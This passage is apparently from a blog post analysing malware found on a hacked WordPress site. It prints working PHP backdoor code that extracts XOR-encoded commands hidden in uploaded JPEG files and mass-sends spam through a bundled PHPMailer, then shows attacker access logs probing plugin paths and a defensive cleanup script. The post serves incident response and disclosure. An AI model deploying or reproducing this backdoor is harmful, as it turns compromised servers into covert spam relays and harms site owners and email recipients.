‘application/x-shockwave-flash’, ‘sit’ => ‘application/x-stuffit’, ‘tar’ => ‘application/x-tar’, ‘tgz’ => ‘application/x-tar’, ‘xht’ => ‘application/xhtml+xml’, ‘xhtml’ => ‘application/xhtml+xml’, ‘zip’ => ‘application/zip’, ‘mid’ => ‘audio/midi’, ‘midi’ => ‘audio/midi’, ‘mp2’ => ‘audio/mpeg’, ‘mp3’ => ‘audio/mpeg’, ‘mpga’ => ‘audio/mpeg’, ‘aif’ => ‘audio/x-aiff’, ‘aifc’ => ‘audio/x-aiff’, ‘aiff’ => ‘audio/x-aiff’, ‘ram’ => ‘audio/x-pn-realaudio’, ‘rm’ => ‘audio/x-pn-realaudio’, ‘rpm’ => ‘audio/x-pn-realaudio-plugin’, ‘ra’ => ‘audio/x-realaudio’, ‘wav’ => ‘audio/x-wav’, ‘bmp’ => ‘image/bmp’, ‘gif’ => ‘image/gif’, ‘jpeg’ => ‘image/jpeg’, ‘jpe’ => ‘image/jpeg’, ‘jpg’ => ‘image/jpeg’, ‘png’ => ‘image/png’, ‘tiff’ => ‘image/tiff’, ‘tif’ => ‘image/tiff’, ‘eml’ => ‘message/rfc822’, ‘css’ => ‘text/css’, ‘html’ => ‘text/html’, ‘htm’ => ‘text/html’, ‘shtml’ => ‘text/html’, ‘log’ => ‘text/plain’, ‘text’ => ‘text/plain’, ‘txt’ => ‘text/plain’, ‘rtx’ => ‘text/richtext’, ‘rtf’ => ‘text/rtf’, ‘vcf’ => ‘text/vcard’, ‘vcard’ => ‘text/vcard’, ‘xml’ => ‘text/xml’, ‘xsl’ => ‘text/xml’, ‘mpeg’ => ‘video/mpeg’, ‘mpe’ => ‘video/mpeg’, ‘mpg’ => ‘video/mpeg’, ‘mov’ => ‘video/quicktime’, ‘qt’ => ‘video/quicktime’, ‘rv’ => ‘video/vnd.rn-realvideo’, ‘avi’ => ‘video/x-msvideo’, ‘movie’ => ‘video/x-sgi-movie’ ); return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: ‘application/octet-stream’); } public static function filenameToType($filename) { // In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, ‘?’); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo[‘extension’]); } public static function mb_pathinfo($path, $options = null) { $ret = array(‘dirname’ => ”, ‘basename’ => ”, ‘extension’ => ”, ‘filename’ => ”); $pathinfo = array(); if (preg_match(‘%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im’, $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret[‘dirname’] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret[‘basename’] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret[‘extension’] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret[‘filename’] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case ‘dirname’: return $ret[‘dirname’]; case PATHINFO_BASENAME: case ‘basename’: return $ret[‘basename’]; case PATHINFO_EXTENSION: case ‘extension’: return $ret[‘extension’]; case PATHINFO_FILENAME: case ‘filename’: return $ret[‘filename’]; default: return $ret; } } public function set($name, $value = ”) { try { if (isset($this->$name)) { $this->$name = $value; } else { throw new phpmailerException($this->lang(‘variable_set’) . $name, self::STOP_CRITICAL); } } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($exc->getCode() == self::STOP_CRITICAL) { return false; } } return true; } public function secureHeader($str) { return trim(str_replace(array(“\r”, “\n”), ”, $str)); } public static function normalizeBreaks($text, $breaktype = “\r\n”) { return preg_replace(‘/(\r\n|\r|\n)/ms’, $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; } public function DKIM_QP($txt) { $line = ”; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= ‘=’ . sprintf(‘%02X’, $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined(‘PKCS7_TEXT’)) { if ($this->exceptions) { throw new phpmailerException($this->lang(‘signing’) . ‘ OpenSSL extension missing.’); } return ”; } $privKeyStr = file_get_contents($this->DKIM_private); if ($this->DKIM_passphrase != ”) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = $privKeyStr; } if (openssl_sign($signHeader, $signature, $privKey)) { return base64_encode($signature); } return ”; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace(‘/\r\n\s+/’, ‘ ‘, $signHeader); $lines = explode(“\r\n”, $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(‘:’, $line, 2); $heading = strtolower($heading); $value = preg_replace(‘/\s+/’, ‘ ‘, $value); // Compress useless spaces $lines[$key] = $heading . ‘:’ . trim($value); // Don’t forget to remove WSP around the value } $signHeader = implode(“\r\n”, $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == ”) { return “\r\n”; } // stabilize line endings $body = str_replace(“\r\n”, “\n”, $body); $body = str_replace(“\n”, “\r\n”, $body); // END stabilize line endings while (substr($body, strlen($body) – 4, 4) == “\r\n\r\n”) { $body = substr($body, 0, strlen($body) – 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = ‘rsa-sha1’; // Signature & hash algorithms $DKIMcanonicalization = ‘relaxed/simple’; // Canonicalization of header/body $DKIMquery = ‘dns/txt’; // Query method $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 – Jan 1, 1970 (UTC time zone) $subject_header = “Subject: $subject”; $headers = explode($this->LE, $headers_line); $from_header = ”; $to_header = ”; $current = ”; foreach ($headers as $header) { if (strpos($header, ‘From:’) === 0) { $from_header = $header; $current = ‘from_header’; } elseif (strpos($header, ‘To:’) === 0) { $to_header = $header; $current = ‘to_header’; } else { if ($current && strpos($header, ‘ =?’) === 0) { $current .= $header; } else { $current = ”; } } } $from = str_replace(‘|’, ‘=7C’, $this->DKIM_QP($from_header)); $to = str_replace(‘|’, ‘=7C’, $this->DKIM_QP($to_header)); $subject = str_replace( ‘|’, ‘=7C’, $this->DKIM_QP($subject_header) ); // Copied header fields (dkim-quoted-printable) $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); // Length of body $DKIMb64 = base64_encode(pack(‘H*’, sha1($body))); // Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == ”) ? ” : ‘ i=’ . $this->DKIM_identity . ‘;’; $dkimhdrs = ‘DKIM-Signature: v=1; a=’ . $DKIMsignatureType . ‘; q=’ . $DKIMquery . ‘; l=’ . $DKIMlen . ‘; s=’ . $this->DKIM_selector . “;\r\n” . “\tt=” . $DKIMtime . ‘; c=’ . $DKIMcanonicalization . “;\r\n” . “\th=From:To:Subject;\r\n” . “\td=” . $this->DKIM_domain . ‘;’ . $ident . “\r\n” . “\tz=$from\r\n” . “\t|$to\r\n” . “\t|$subject;\r\n” . “\tbh=” . $DKIMb64 . “;\r\n” . “\tb=”; $toSign = $this->DKIM_HeaderC( $from_header . “\r\n” . $to_header . “\r\n” . $subject_header . “\r\n” . $dkimhdrs ); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . “\r\n”; } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = ‘‘ . $this->getMessage() . “
\n”; return $errorMsg; } } ///////////////////////////////////////////////////////////////// function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file) { $mail = new PHPMailer(); $mail->isMail(); $mail->CharSet = ‘utf-8’; $mail->SetFrom($from_email, $from_name); $mail->AddAddress($to); $mail->Subject = $subject; if ($type == “1”) { $mail->MsgHTML($body); } elseif ($type == “2”) { $mail->isHTML(false); $mail->Body = $body; } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if ($file[‘tmp_name’] != $config_file) { $mail->addAttachment($file[‘tmp_name’], $file[‘name’]); } } } if (!$mail->send()) { return $mail->ErrorInfo; } else { return 0; } } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if(strpos($file[‘name’], “.jpg”)) { $res = type1_send($file[‘tmp_name’]); if ($res) { echo $res; } } } } function myhex2bin( $str ) { $sbin = “”; $len = strlen( $str ); for ( $i = 0; $i < $len; $i += 2 ) { $sbin .= pack( “H*”, substr( $str, $i, 2 ) ); } return $sbin; } function decode($data, $key) { $out_data = “”; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function type1_send($config_file) { $data = file_get_contents($config_file); $start_pos = strpos($data, myhex2bin(“ffda”)); if ($start_pos) { $start_pos += (20); $end_pos = strrpos($data, myhex2bin(“ffd9”)); if ($end_pos) { $data = substr($data, $start_pos, $end_pos); } else { return FALSE; } } else { return FALSE; } $key = $_SERVER[‘HTTP_HOST’] . $_SERVER[‘REQUEST_URI’]; $data = decode($data, $key); $data = @unserialize($data); if (!$data || !isset($data[‘ak’])) { return FALSE; } if ($data[‘ak’] != “328c9145-576b-4a72-9ef0-5d38810eaf66”) { exit(); } if (isset($data[‘c’])) { $res[“r”][“c”] = $data[‘c’]; return base64_encode(serialize($res)); } $good = 0; $bad = 0; $last_error = 0; foreach ($data[‘e’] as $uid=>$email) { $theme = $data[‘s’][array_rand($data[‘s’])]; $theme = alter_macros($theme); $theme = num_macros($theme); $theme = xnum_macros($theme); $message = $data[‘l’]; $message = alter_macros($message); $message = num_macros($message); $message = xnum_macros($message); $message = fteil_macros($message, $uid); $from = $data[‘f’][array_rand($data[‘f’])]; $from = alter_macros($from); $from = num_macros($from); $from = xnum_macros($from); if (strstr($from, “[CUSTOM]”) == FALSE) { $from = from_host($from); } else { $from = str_replace(“[CUSTOM]”, “”, $from); } $from_email = explode(“<“, $from); $from_email = explode(“>”, $from_email[1]); $from_name = explode(“\””, $from); $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data[‘lt’], $config_file); if ($last_error === 0) { $good++; } else { $bad++; $good = count($data[‘e’]) – $bad; } } $res[“r”][“e”] = $last_error === FALSE ? 0 : $last_error; $res[“r”][“g”] = $good; $res[“r”][“b”] = $bad; return base64_encode(serialize($res)); }

Some log to explain the initialization steps:

146.185.239.53 - - [05/Feb/2015:10:26:20 +0100] "POST /wp-content/themes/Avada/framework/plugins/envato-wordpress-toolkit-library/object.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
146.185.239.53 - - [06/Feb/2015:02:34:41 +0100] "POST /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_gallery_display/static/fontawesome/admin38.php HTTP/1.1" 404 18711 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4"
146.185.239.53 - - [06/Feb/2015:02:34:44 +0100] "POST /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_gallery_display/static/fontawesome/admin38.php HTTP/1.1" 404 18694 "-" "Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53"
146.185.239.53 - - [06/Feb/2015:02:34:47 +0100] "POST /wp-content/uploads/wysija/themes/rss.lib.php HTTP/1.1" 404 235 "-" "Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0"
146.185.239.53 - - [06/Feb/2015:02:34:48 +0100] "POST /wp-content/uploads/wysija/themes/rss.lib.php HTTP/1.1" 404 235 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
146.185.239.53 - - [06/Feb/2015:02:34:49 +0100] "POST /wp-content/backup-2365b/.title14.php HTTP/1.1" 404 18713 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53"
146.185.239.53 - - [06/Feb/2015:02:34:51 +0100] "POST /wp-content/backup-2365b/.title14.php HTTP/1.1" 404 18738 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

http://whois.domaintools.com/146.185.239.53



Update


A very useful (and easy) script to cleanup your site:


<?php

/**
 * A script to cleanup a hacked WordPress site.
 *
 * It needs shouold be run in the public site's root directory
 */

$files = array();

$it = new RecursiveDirectoryIterator(dirname(__FILE__));
$display = Array ( 'php' );
foreach(new RecursiveIteratorIterator($it) as $file)
{
    if (in_array(strtolower(array_pop(explode('.', $file))), $display))
        $files[] = $file->getRealPath();
}

foreach($files as $file){
	if ($file) {
		$fileArr = file($file);
		$hack_pos = strpos($fileArr[0], 'GLOBALS');
		if ($hack_pos !== false) {
			echo "f: $file\n\n";
			$orig_pos = strpos($fileArr[0], '; ?>', $hack_pos);
			$first_line = $orig_pos !== false ? substr($fileArr[0], $orig_pos + 4) : '';
			$fileArr[0] = $first_line;
			file_put_contents($file, join("\n", $fileArr));
		}
	}
}

?>

4 commenti

  1. Thanks for your post.Found similar file on a webserver. Do you have any idea how it could get there? Who to get rid of it, just delete the files?

Lascia un commento

I campi obbligatori sono contrassegnati con *.


:bye:  :good:  :negative:  :scratch:  :wacko:  :yahoo:  B-) 
more...